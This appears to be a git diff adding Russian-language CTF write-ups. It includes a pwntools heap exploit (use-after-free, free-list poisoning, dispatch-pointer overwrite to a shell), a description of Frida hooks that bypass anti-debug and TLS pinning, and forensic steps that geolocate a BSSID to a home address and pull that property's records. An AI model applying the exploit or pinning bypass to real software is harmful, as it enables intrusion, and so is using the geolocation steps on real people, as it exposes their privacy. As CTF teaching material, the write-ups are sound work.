MUL_OUT + stale_prng = PRNG + + MUL_OUT = byte + c_mul[i] + rot = rol(R14, c_rot[i]) + alu = rot + stale_prng + R14 = hash(stale_mul, alu) + + PRNG = prng(PRNG, c_tw[i]) + R15 = hash(R15, byte) + + OUTPUT[i] = R15 +``` + +В прошивке лежит полный массив `OUTPUT`, а это просто последовательные значения `R15`. Обновление регистра: + +```text +R15_next = R15_prev + byte + 0x9E3779B9 +``` + +Отсюда напрямую: + +```text +byte = R15_next - R15_prev - 0x9E3779B9 +``` + +Проходим по всем `OUTPUT[i]`, для каждого считаем `byte`, проверяем что это диапазон `0..255`, и получаем весь флаг. + +### Автоматический solver + +В репозитории также прикреплен файл с авторешением: `solver.py`. Запуск можно осуществить при помощи команды: + +```bash +python3 solve/solver.py firmware.bin +``` \ No newline at end of file diff --git a/SuiGeneris-Reverse/solver.py b/SuiGeneris-Reverse/solver.py new file mode 100644 index 0000000..9e99460 --- /dev/null +++ b/SuiGeneris-Reverse/solver.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import struct +from pathlib import Path + + +MAGIC_TTAB = 0x42415454 # 'TTAB' +HDR_FMT = "<6I" + + +def rol32(x: int, r: int) -> int: + r &= 31 + return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF + + +def prng_step(state: int, tweak: int) -> int: + x = (state ^ tweak) & 0xFFFFFFFF + x ^= (x << 13) & 0xFFFFFFFF + x ^= (x >> 17) & 0xFFFFFFFF + x ^= (x << 5) & 0xFFFFFFFF + return x & 0xFFFFFFFF + + +def alu_op_int(a: int, b: int) -> int: + return (a + b) & 0xFFFFFFFF + + +def hash_op_int(a: int, b: int) -> int: + return (a + b + 0x9E3779B9) & 0xFFFFFFFF + + +def load_firmware(path: Path): + blob = path.read_bytes() + if len(blob) < struct.calcsize(HDR_FMT): + raise ValueError("firmware too small") + magic, version, code_len, data_len, flag_len, target = struct.unpack_from(HDR_FMT, blob, 0) + if magic != MAGIC_TTAB or version != 1: + raise ValueError("bad firmware header") + + off = struct.calcsize(HDR_FMT) + code_sz = code_len * 4 + data_sz = data_len * 4 + if len(blob) < off + code_sz + data_sz: + raise ValueError("truncated firmware") + + code = list(struct.unpack_from(f"<{code_len}I", blob, off)) + off += code_sz + data = list(struct.unpack_from(f"<{data_len}I", blob, off)) + return { + "code": code, + "data": data, + "flag_len": flag_len, + "target": target, + } + + +def solve( + fw, + prefix: str | None, + suffix: str | None, + alphabet: str | None, + no_format: bool, +) -> bytes: + data = fw["data"] + flag_len = fw["flag_len"] + target = fw["target"] + if flag_len < 2 or len(data) < 4: + raise ValueError("bad firmware constants") + + seed_r14 = data[0] + seed_r15 = data[1] + seed_prng = data[2] + + output_base = 3 + 3 * flag_len + if len(data) < output_base + flag_len + 1: + raise ValueError("bad firmware layout") + + consts = data[3:output_base] + c_mul = consts[0::3] + c_rot = consts[1::3] + c_tw = consts[2::3] + + outputs = data[output_base:output_base + flag_len] + target2 = data[output_base + flag_len] + + recovered = [] + r15 = seed_r15 + for out in outputs: + b = (out - r15 - 0x9E3779B9) & 0xFFFFFFFF + if b > 0xFF: + raise RuntimeError("invalid output stream: byte out of range") + recovered.append(b) + r15 = out + + flag = bytes(recovered) + + # format constraints + if not no_format: + if prefix is None or suffix is None or alphabet is None: + raise ValueError("format constraints require prefix/suffix/alphabet") + if not flag.startswith(prefix.encode("ascii")): + raise RuntimeError("prefix mismatch") + if not flag.endswith(suffix.encode("ascii")): + raise RuntimeError("suffix mismatch") + mid = flag[len(prefix): len(flag) - len(suffix)] + alpha = set(alphabet.encode("ascii")) + if any(ch not in alpha for ch in mid): + raise RuntimeError("alphabet mismatch") + + # verify accumulators match firmware targets + prng = seed_prng + r14 = seed_r14 + r15 = seed_r15 + mul_out = 0 + for i, ch in enumerate(flag): + stale_mul = mul_out + stale_prng = prng + mul_out = (ch + c_mul[i]) & 0xFFFFFFFF + rot = rol32(r14, c_rot[i]) + alu = alu_op_int(rot, stale_prng) + r14 = hash_op_int(stale_mul, alu) + prng = prng_step(prng, c_tw[i]) + r15 = hash_op_int(r15, ch) + + if r14 != target or r15 != target2: + raise RuntimeError("verification failed against firmware targets") + + return flag + + +def main() -> int: + ap = argparse.ArgumentParser(description="Recover flag from firmware.bin.") + ap.add_argument("firmware", nargs="?", default="public/firmware.bin") + ap.add_argument("--prefix", default="caplag{", help="known flag prefix") + ap.add_argument("--suffix", default="}", help="known flag suffix (1 char)") + ap.add_argument("--alphabet", default="0123456789ABCDEF", help="alphabet for middle bytes") + ap.add_argument("--no-format", action="store_true", help="disable prefix/suffix/alphabet constraints") + args = ap.parse_args() + + fw = load_firmware(Path(args.firmware)) + flag = solve( + fw, + prefix=None if args.no_format else args.prefix, + suffix=None if args.no_format else args.suffix, + alphabet=None if args.no_format else args.alphabet, + no_format=args.no_format, + ) + try: + print(flag.decode("ascii")) + except UnicodeDecodeError: + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/Warriors-Pwn/README.md b/Warriors-Pwn/README.md new file mode 100644 index 0000000..6c2daca --- /dev/null +++ b/Warriors-Pwn/README.md @@ -0,0 +1,30 @@ +# Warriors + +Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг? + +## Решение + +1. Открываем бинарь в **IDA/Ghidra** и разбираем команды меню: `spawn`, `sacrifice`, `scout`, `rewind`, `rename`, `invoke_core`. +2. Понимаем модель памяти: `Warrior` хранится в куче, а слоты в таблице держат указатели на эти чанки. +3. Находим уязвимую связку `sacrifice` + `rewind(1)`: после отката в таблице остаётся указатель на уже освобождённый чанк (UAF). +4. Через `scout(slot, -8, 8)` снимаем `encrypted_next` у освобождённого чанка и получаем `heap_cookie`, нужный для корректного `next`. +5. Используем `rename(slot, -16, blob)`, чтобы писать перед `name` и подделать заголовок чанка: + - `checksum = crc32(name)` (4 байта), + - `pad` (4 байта), + - `encrypted_next = target ^ cookie` (8 байт), + - `name` (64 байта). +6. В качестве `target` выбираем `g_bridge` и отравляем free-list через UAF-объект. +7. Делаем два `spawn`: первый снимает обычный элемент из списка, второй даёт контролируемую аллокацию в целевой адрес. +8. Перезаписываем `dispatch` в `g_bridge` адресом `summon_oracle` (например, `b"A"*24 + p64(summon_oracle)`). +9. Вызываем `invoke_core()` и получаем выполнение `summon_oracle`, после чего появился shell. +10. В shell читаем флаг: + +```bash +cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt +``` + +Полный PoC: [exploit.py](exploit.py) + +```bash +python3 exploit.py +``` \ No newline at end of file diff --git a/Warriors-Pwn/exploit.py b/Warriors-Pwn/exploit.py new file mode 100644 index 0000000..5b2df04 --- /dev/null +++ b/Warriors-Pwn/exploit.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +from pwn import * +import os +import re +import zlib + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena") +BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN + +context.binary = ELF(BINARY_PATH, checksec=False) +context.terminal = ["tmux", "splitw", "-h"] + +LEAKED_COOKIE = None + + +def forge_warrior(data, next_ptr): + """ + Build raw bytes for overwrite at (name-16) region: + [checksum|pad|encrypted_next|name(64)] + """ + global LEAKED_COOKIE + if LEAKED_COOKIE is None: + raise ValueError("Cookie is not leaked yet") + + name = data.ljust(64, b"\x00")[:64] + checksum = zlib.crc32(name) & 0xFFFFFFFF + encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF + + return p32(checksum) + p32(0) + p64(encrypted_next) + name + + +def start(): + if args.REMOTE: + host = args.HOST if args.HOST else "127.0.0.1" + port = int(args.PORT) if args.PORT else 1337 + return remote(host, port) + + if args.GDB: + return gdb.debug([BINARY_PATH], gdbscript="continue") + + return process([BINARY_PATH]) + + +class GameInteraction: + def __init__(self, tube): + self.io = tube + + def _choose(self, idx): + self.io.sendlineafter(b"Chronos> ", str(idx).encode()) + + def spawn(self, name): + self._choose(1) + self.io.sendlineafter(b"Warrior name: ", name) + line = self.io.recvline().decode(errors="ignore").strip() + m = re.search(r"Slot\s+(\d+)\s+awakened", line) + if not m: + raise RuntimeError(f"Unexpected spawn output: {line}") + return int(m.group(1)) + + def sacrifice(self, slot): + self._choose(2) + self.io.sendlineafter(b"Choose slot: ", str(slot).encode()) + self.io.recvline() + + def rename(self, slot, shift, blob): + self._choose(5) + self.io.sendlineafter(b"Choose slot: ", str(slot).encode()) + self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode()) + self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode()) + self.io.sendafter(b"Raw inscription bytes: ", blob) + self.io.send(b"\n") + self.io.recvline() + + def scout(self, slot, shift, length): + self._choose(3) + self.io.sendlineafter(b"Choose slot: ", str(slot).encode()) + self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode()) + self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode()) + + self.io.recvuntil(b"Vision: ") + hex_line = self.io.recvline().strip().decode() + leaked = bytes.fromhex(hex_line) + return leaked + + def rewind(self, anchor): + self._choose(4) + self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode()) + self.io.recvline() + + def invoke_core(self): + self._choose(6) + + +def main(): + global LEAKED_COOKIE + + elf = context.binary + io = start() + game = GameInteraction(io) + + target = elf.symbols["g_bridge"] + oracle = elf.symbols["summon_oracle"] + + log.info("Stage 1: create free chunk and resurrect it via rewind") + s0 = game.spawn(b"alpha") + log.info(f"spawned slot={s0}") + + game.sacrifice(s0) + + game.rewind(1) + + log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout") + leak = game.scout(s0, -8, 8) + LEAKED_COOKIE = u64(leak.ljust(8, b"\x00")) + log.success(f"cookie = {hex(LEAKED_COOKIE)}") + + log.info("Stage 3: forge warrior header and poison free list") + forged = forge_warrior(b"time-smith", target) + game.rename(s0, -16, forged) + + s1 = game.spawn(b"reclaim-1") + log.info(f"reclaim spawn slot={s1}") + + s2 = game.spawn(b"bridge") + log.info(f"poisoned spawn slot={s2}") + + log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation") + payload = b"A" * 24 + p64(oracle) + game.rename(s2, 0, payload) + + log.info("Stage 5: invoke dispatch and get shell") + game.invoke_core() + + if args.INTERACTIVE: + io.interactive() + return + + io.sendline(b"id") + io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt") + io.sendline(b"exit") + print(io.recvrepeat(1.0).decode(errors="ignore")) + + +if __name__ == "__main__": + main() diff --git a/WitheredFlower-forensic/README.md b/WitheredFlower-forensic/README.md new file mode 100644 index 0000000..89c7a9a --- /dev/null +++ b/WitheredFlower-forensic/README.md @@ -0,0 +1,247 @@ +# WitheredFlower Forensic + +На входе нам дается `evidence.zip`, внутри которого расположены: `backup.ab` и папка `Logs`. + + +## Подготовка + +Извлекаем `backup.ab` через `abe.jar` (его скачиваем с интернета) + +После этого основные пути: +- логи: `.\Logs\...` +- данные приложений: `.\ab_extracted\...` + +### Таск 1. BRAND / MODEL / BUILD_ID + +1. Открываем `Logs/ADBReport/device_info.txt`. +2. Поиск по файлу: + - `ro.product.manufacturer` + - `ro.product.model` +3. Открываем `Logs/DumpSysReport/package.txt`. +4. Поиск по файлу: `buildFingerprint=`. +5. Из `buildFingerprint` берём `BUILD_ID` (часть вида `BP2A...`). + +Флаг: `caplag{SAMSUNG/SM-A346E/BP2A.250605.031.A3}` + +### Таск 2. Время последней загрузки + Realtime + +1. Открываем `Logs/DumpSysReport/meminfo.txt`, в первой строке видим: `Realtime: 479801602` ms +2. Открываем `Logs/DumpSysReport/sensorservice.txt`, берём: + - `Captured at: 04:00:17.895` + - дату из строк `wall=02-10 ...` (месяц-день) +3. Год берём из системных логов с ISO-датой (например, `Logs/ADBReport/device_state.txt`), здесь это `2026`. +4. Считаем в Python: + +```python +from datetime import datetime, timedelta + +capture = datetime.fromisoformat("2026-02-10 04:00:17.895") +realtime_ms = 479_801_602 +realtime_sec = realtime_ms // 1000 + +boot_raw = capture - timedelta(seconds=realtime_sec) +boot_rounded = (boot_raw + timedelta(milliseconds=500)).replace(microsecond=0) + +days = realtime_sec // 86400 +rem = realtime_sec % 86400 +hours = rem // 3600 +minutes = (rem % 3600) // 60 +seconds = rem % 60 + +print("boot_raw:", boot_raw) +print("boot_rounded:", boot_rounded.strftime("%Y-%m-%d %H:%M:%S")) +print("realtime_DDHHMMSS:", f"{days:02d}:{hours:02d}:{minutes:02d}:{seconds:02d}") +``` + +Получаем: +- `boot_rounded = 2026-02-04 14:43:37` +- `realtime_DDHHMMSS = 05:13:16:41` + +Флаг: `caplag{2026-02-04/14:43:37_05:13:16:41}` + +## Таск 3. Самый большой файл в Download + SHA-256 + +1. Открываем папку `ab_extracted/shared/0/Download`. +2. Сортируем файлы по размеру по убыванию. +3. Самый большой файл: `Telegram.apk`. +4. Считаем SHA-256 вручную через 7-Zip: + - `7-Zip -> CRC SHA -> SHA-256` + - копируем значение + +Флаг: `caplag{4d3400b9330b2a7d93683fd03ddda41aa144c65f74eb27e3a1786b21397ec7d1}` + +## Таск 4. Самый ранний Wi-Fi BSSID + адрес + +1. Открываем `Logs/DumpSysReport/wifi.txt`. +2. Видим, что чаще всего встречается BSSID 00:1C:10:BC:B4:03, он и есть самый ранний +3. Открываем сайт 3wifi.dev, вбиваем в поиск этот MAC адрес, находим коорды 38.939159, -77.163895 +4. По картам находим адрес дома (1305 BALLANTRAE FARM DRIVE MC LEAN VA 22101) + +Флаг: `caplag{00:1C:10:BC:B4:03_1305BALLANTRAEFARMDRIVEMCLEANVA22101}` + +## Таск 5. Год постройки, стоимость земли на 2017 год, площадь бассейна в sq ft. + +По описанию таска нам нужно найти информацию о соседнем доме с таким же номером, 1305 Ballantrae Ct, McLean, VA 22101 + +1. Открываем поиск по адресу на сайте https://icare.fairfaxcounty.gov/ffxcare/search/commonsearch.aspx?mode=address +2. Вбиваем все данные, получаем pdf документ со всей информацией о доме. +3. В PDF находим данны о стоимости, площади бассейна и т.д. + +Флаг: `caplag{1965_887000_720}` + +## Таск 6. Package name + device name + +1. Открываем `Logs/ADBReport/packages_thirdparty.txt`, ищем `projectflower`: + - получаем package name: `com.projectflower.agency` +2. Открываем `Logs/DumpSysReport/wifi.txt`, ищем `wifi_p2p_device_name`: + - получаем device name: `a-272-8` + +Флаг: `caplag{com.projectflower.agency_a-272-8}` + +## Таск 7. Время первой установки ProjectFlower + +1. Подтверждаем `appId` для нужного пакета: + + - `Logs/DumpSysReport/package.txt` + - по поиску `Package [com.projectflower.agency]` и `appId=10336` +2. Открываем `Logs/ADBReport/device_state.txt`, ищем `Package add: uid=10336`. +3. Среди найденных строк выбираем самое раннее время по timestamp в начале строки. + +Самый ранний timestamp: `2026-02-10T02:50:38.948756`. + +Формат: `2026-02-10/02:50:38` + +Флаг: `caplag{2026-02-10/02:50:38}` + +## Таск 8. Основной sync endpoint + +1. Идём в `ab_extracted/apps/com.projectflower.agency/a/`. +2. Открываем `base.apk` архиватором (или копируем как `base.zip` и распаковываем). +3. Читаем файл `assets/protocol/kappa.cfg`. + +Берём: + +- `endpoint_primary=wss://relay-core.projectflower.agency/sync` +- `port_primary=443` + +Флаг: `caplag{wss://relay-core.projectflower.agency/sync:443}` + +## Таск 9. PIN + SecretCode агента T-4A1KD + +### PIN + +1. Открываем `.\ab_extracted\apps\com.projectflower.agency\a\base.apk` в jadx-gui. +2. Переходим в класс `com.projectflower.agency.security.PinManager` (или делаем поиск по строке `pin_hash` и открываем класс-обработчик PIN). +3. Открываем метод `initializeDefaultsIfMissing` и/или `hashPin`. +4. В `initializeDefaultsIfMissing` видно, какое 6-значное значение передаётся как дефолтный PIN при инициализации. +5. В `hashPin` подтверждаем алгоритм: `PBKDF2WithHmacSHA256`, `12000` раундов. +6. Проверочный state лежит в `.\ab_extracted\apps\com.projectflower.agency\sp\pf_secure_state.xml` + (`pin_salt`, `pin_hash`), что совпадает с логикой из кода. +7. Из кода получаем PIN: `473029`. + +### SecretCode + +1. Открываем `.\ab_extracted\apps\com.projectflower.agency\db\flowerline.db` в DB Browser for SQLite. +2. Выполняем SQL: + +```sql +SELECT id, keyPartA, keyPartB FROM chat_threads; +SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1; +``` + +3. Для найденного `chatId` собираем материал ключа: + - `key_material = keyPartA + "::" + keyPartB + "::orchid/signal/v4"` +4. Расшифровываем `bodyCipher` (AES-GCM, nonce = `iv`, AAD пустой) и получаем plaintext. + +```python +import base64, hashlib, sqlite3 +from pathlib import Path +from cryptography.hazmat.primitives.ciphers.aead import AESGCM + +db = Path(r".\ab_extracted\apps\com.projectflower.agency\db\flowerline.db") +con = sqlite3.connect(db) +con.row_factory = sqlite3.Row +cur = con.cursor() + +cur.execute("SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1 LIMIT 1") +msg = cur.fetchone() + +cur.execute("SELECT keyPartA, keyPartB FROM chat_threads WHERE id=?", (msg["chatId"],)) +thr = cur.fetchone() + +key_material = f'{thr["keyPartA"]}::{thr["keyPartB"]}::orchid/signal/v4' +key = hashlib.sha256(key_material.encode()).digest() +pt = AESGCM(key).decrypt(base64.b64decode(msg["iv"]), base64.b64decode(msg["bodyCipher"]), None) +print(pt.decode()) +``` + +Получаем: `Code: 19XQF` + +Флаг: `caplag{473029_19XQF}` + +## Таск 10. Восстановление удалённого сообщения + SHA-256 + +1. В DB Browser находим удалённое сообщение через ссылку `tombstoneRef`: + +```sql +SELECT id, chatId, senderId, tombstoneRef +FROM messages +WHERE senderId='Petal' AND tombstoneRef IS NOT NULL; +``` + +2. По найденному `tombstoneRef` достаём шифртекст: + +```sql +SELECT id, messageId, cipherText, iv +FROM tombstones +WHERE id = ''; +``` + +3. Достаём параметры для ключа: + - `fragment` из `.\apk_unpack\assets\protocol\kappa.cfg` + - `cursor_seed` из `.\ab_extracted\apps\com.projectflower.agency\sp\pf_ops_seed.xml` + +4. Формируем ключ: + - `key = SHA256("PLF-omega-" + fragment + "kappa-19" + seed[:8])` + +5. Расшифровываем AES-GCM (`cipherText`, `iv`, AAD пустой), получаем строку формата: + - `messageId|chatId|original_body` +6. Считаем SHA-256 только от `original_body`. + + +```python +import base64, hashlib, re, sqlite3 +from pathlib import Path +from zipfile import ZipFile +from cryptography.hazmat.primitives.ciphers.aead import AESGCM + +base = Path(r".") +db = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "db" / "flowerline.db" +seed_xml = (base / "ab_extracted" / "apps" / "com.projectflower.agency" / "sp" / "pf_ops_seed.xml").read_text(encoding="utf-8") +cfg_path = base / "apk_unpack" / "assets" / "protocol" / "kappa.cfg" + +if cfg_path.exists(): + cfg = cfg_path.read_text(encoding="utf-8") +else: + apk = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "a" / "base.apk" + with ZipFile(apk, "r") as z: + cfg = z.read("assets/protocol/kappa.cfg").decode("utf-8") + +seed = re.search(r'([^<]+)', seed_xml).group(1) +fragment = re.search(r"^fragment=(.+)$", cfg, re.M).group(1).strip() + +con = sqlite3.connect(db) +con.row_factory = sqlite3.Row +cur = con.cursor() +cur.execute("SELECT tombstoneRef FROM messages WHERE senderId='Petal' AND tombstoneRef IS NOT NULL ORDER BY createdAt LIMIT 1") +ref = cur.fetchone()["tombstoneRef"] +cur.execute("SELECT cipherText, iv FROM tombstones WHERE id=?", (ref,)) +t = cur.fetchone() + +key = hashlib.sha256(f"PLF-omega-{fragment}kappa-19{seed[:8]}".encode()).digest() +pt = AESGCM(key).decrypt(base64.b64decode(t["iv"]), base64.b64decode(t["cipherText"]), None).decode() +original_body = pt.split("|", 2)[2] +print(hashlib.sha256(original_body.encode()).hexdigest()) +``` + +Флаг: `caplag{8eddf96d2de82df880e42163a792338c067b65f07ab1d167f9ffec9fe12ceaea}` diff --git a/tesseract-reverse/README.md b/tesseract-reverse/README.md new file mode 100644 index 0000000..5752557 --- /dev/null +++ b/tesseract-reverse/README.md @@ -0,0 +1,162 @@ +# Tesseract + +Забудьте про статику: истина доступна только в динамике. + +## Решение + +Подсказка в задании сразу задает направление: **"забудь про статику, смотри на динамику"**. + +![Интерфейс задания](image.png) + +![Подсказка](image-1.png) + +Первым делом загружаем сэмпл в **Detect It Easy**. Видим **VMProtect**, anti-debug. Т.к. это *.NET*, открываем в **DnSpy**, понимаем что смылсла в статике нет. Везде сильная обфускация, Control-Flow + Сильная анти-дебаг защита. Поэтому лучше смотреть, что происходит во время работы программы: какие строки появляются в памяти и через какие WinAPI проходят данные. + +Ниже разберем решение пошагово, тем же путем, которым обычно идет участник. + +## Что понадобится + +- `frida` и `frida-tools` на Windows. +- PowerShell +- Process Hacker / Process Explorer - посмотреть TCP-соединения. +- WinAPI Monitor - понять, какие WinAPI реально вызываются (SSPI/Schannel, Winsock и т.п.). + +Готовые скрипты решения: + +- стадия 1 (получение пароля): `stage_1_findpassword.js` +- стадия 2 (получение флага): `stage_2_decryptmessage.js` + +## Что видно при запуске + +После старта видим простое окно: + +![Окно программы](image-2.png) + +- поле ввода +- кнопка `Check` +- подпись `status:` + +Если вводить случайные строки и нажимать `Check`, появляется сообщение **`Invalid Password`**. + +Из этого делаем два практических вывода: + +1. внутри есть сравнение с правильным паролем; +2. правильная строка где-то в процессе все-таки появляется, хотя бы на короткое время. + +## Стадия 1: достаем пароль динамически + +### Почему не `strings` и не статический реверс + +Если мы запустим программу, укажем любой пароль и посмотрим какие строки лежат в памяти процесса, то ничего полезного не увидем. Сам верный пароль может лежать в памяти, но не долго. + +В задачах такого типа пароль часто: + +- вычисляется на лету; +- расшифровывается в память на долю секунды; +- сразу затирается; +- скрывается за виртуализацией/обфускацией. + +Поэтому здесь быстрее работать через рантайм. + +### Идея + +Мы не знаем пароль, но знаем строку, которая точно рисуется на экране: `Invalid Password`. + +План такой: + +1. поймать момент, когда приложение рисует `Invalid Password`; +2. получить указатель на эту строку; +3. найти memory range, где лежит этот указатель; +4. просканировать соседнюю область памяти на строки-кандидаты; +5. выбрать наиболее похожую на пароль. + +В этом таске строка рисуется через `user32!DrawTextExW`, поэтому это удобная точка для хука. + +### Как автоматизировать клики + +Чтобы не нажимать кнопку вручную, скрипт: + +- находит `EDIT` и кнопку `Check`; +- шлет `WM_SETTEXT` в поле; +- шлет `BM_CLICK` в кнопку; +- повторяет это циклом. + +Поиск контролов сделан через `EnumWindows` и `EnumChildWindows`. + +### Что делает `stage_1_findpassword.js` + +По сути в нем четыре шага: + +1. Минимально отключает антидебаг (`IsDebuggerPresent`, `CheckRemoteDebuggerPresent`). +2. Автоматически гоняет ввод и нажатие `Check`. +3. Хукает `DrawTextExW` и ловит вызов с текстом `Invalid Password`. +4. От найденного адреса сканирует память, собирает строки-кандидаты и ранжирует их по простым эвристикам. + +![Результат первой стадии](image-3.png) + +в выводе видно что-то такое: + +``` +[CAND 1] ... VMP_Is_Watching_Y0u +[+] BEST GUESS: VMP_Is_Watching_Y0u +``` + +Эту строку и вводим в GUI как пароль. + +### Запуск стадии 1 + +```powershell +frida -f .\tesseract.exe -l .\stage_1_findpassword.js --runtime=v8 +``` + +Дальше ждем строку `BEST GUESS`. + +## Стадия 2: достаем флаг при TLS и pinning + +![Сетевое поведение](image-4.png) + +После ввода верного пароля ничего не происходит, происходит авторизация и все. Запустим proc hacker и видим, что после ввода пароля приложение создает какое-то подключение. Так же это видно через API Monitor + +Интуитивный вариант - снять трафик в Wireshark/Burp/mitmproxy - здесь не помогает: + +- трафик зашифрован TLS; +- pinning ломает MITM даже с подставленным сертификатом. + +### Идея + +Смотрим не в сеть, а в процесс. Любой TLS-клиент внутри себя в какой-то момент получает уже расшифрованные данные. + +В Windows это обычно связка SSPI/Schannel. В API Monitor это видно по вызовам: + +- `InitializeSecurityContextW` (handshake); +- `DecryptMessage` (расшифровка прикладных данных). + +![Следы Schannel в API Monitor](image-5.png) + +Значит, хукаем `DecryptMessage`, и после вызова читаем буферы `SECBUFFER_DATA`. Там лежит plaintext, который приложение уже расшифровало для себя. + +Так мы обходим pinning без MITM: просто забираем готовые данные из памяти процесса. + +### Что делает `stage_2_decryptmessage.js` + +Скрипт: + +1. при необходимости гасит базовые антидебаг-проверки; +2. ждет загрузку `secur32.dll` / `sspicli.dll`; +3. ставит хук на `DecryptMessage`; +4. на `onLeave` парсит `SecBufferDesc` и связанные `SecBuffer`; +5. читает все буферы типа `SECBUFFER_DATA` и печатает расшифрованный текст. + +![Результат второй стадии](image-6.png) + +В выводе получаем флаг: + +``` +[+] FLAG: caplag{D0uble_H00k_And_Tim3_Warp_Cr4ck} +``` + +### Запуск стадии 2 + +```powershell +frida -f .\tesseract.exe -l .\stage_2_decryptmessage.js --runtime=v8 +``` diff --git a/tesseract-reverse/image-1.png b/tesseract-reverse/image-1.png new file mode 100644 index 0000000000000000000000000000000000000000..76f8fb54ffbfefab486e2c62ddbe88ae28a81cc8 GIT binary patch literal 171338 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 